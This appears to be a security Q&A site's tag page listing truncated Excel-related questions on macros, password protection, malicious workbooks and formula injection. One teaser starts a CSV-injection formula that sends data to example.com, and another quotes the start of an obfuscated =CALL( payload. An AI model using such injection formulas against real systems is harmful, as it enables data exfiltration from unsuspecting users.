Questions tagged [excel]

A spreadsheet program that is part of Microsoft Office. Security issues can involve e.g. macros and code execution in formulas. See also [office].

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Excel 2021 | File Is in use | Locked for editing [migrated]

Today i faced an error in my excel file. Here is the error : That user name is me. I checked task manager for all open excel instances for close. Nothing found. I rebooted my pc. Problem is still ...
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1 vote
1 answer
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Does malicious MS Office xlsb file with macros posses risk to OpenOffice?

I opened malicious MS Office xlsb file with OpenOffice by huge mistake. I am wondering does it possess any risk? From what I am aware Excel macros are not compatible with OpenOffice. So I should be ...
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29 votes
7 answers
9k views

Is it safe to store account credentials in an Excel sheet protected with a password?

Basically the title. For example, how bad is it to store passwords in an Excel sheet protected with a password, instead of storing passwords in Keypass or something else like Zoho Vault? Of course, ...
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2 votes
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Opened compromised Excel file - am I safe?

Long story short, got duped into opening an XLSM in Excel, with macros being enabled. Realised instantly. Digged into the Excel structure, found the following (extremely obfuscated) payload: =CALL(&...
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1 answer
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Can a text file disguised as .xlsm be malicious?

A hour ago we receive a suspicious mail targeting some of our mailing lists. It contains a .zip file, itself containing a .xlsm file. This .xlsm file appears to be recognized as an ASCII text file ...
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1 answer
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Crack windows excel password

I have many password protected microsoft excel worksheet and I need to be able to edit it. I have forgotten the password, and I know that I can edit the file and take out the password check, but I ...
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9 votes
2 answers
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Does "=cmd" CSV injection still exist in 2020?

I'm currently pentesting a web application on which a user can generate a CSV. I managed to exfiltrate data via CSV injection using a payload such as: =WEBSERVICE(CONCAT("http://example.com/", CONCAT(...
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3 votes
0 answers
2k views

How to "unprotect" malicious workbook without knowing password

Right now I'm looking at an office document (most likely rtf based on it exploiting equation editor) that opens just fine when you double click it, but on further examination in a hex editor and in ...
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4 votes
1 answer
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Exfiltrate data by injecting functions in Excel 2007 file rendered with PHP

I need to extract data from inside an Excel fille using Excel 2007 functions. The concept is somewhat related to stored XSS type of data exfiltration only that I need to use Excel 2007 functions (...
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6 votes
1 answer
4k views

External command execution in Excel formulas

It's known that MS Excel functionality of external references will allow executing arbitrary commands from its formulas with appropriate security warnings and confirmation required from the user. E.g....
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6 votes
2 answers
17k views

Excel 2007 Encryption Strength

With a strong password of 10+ characters, mixed case, etc... is the encryption of an Excel 2007 document secure enough to create reasonably strong defense against a brute force attack? What ...
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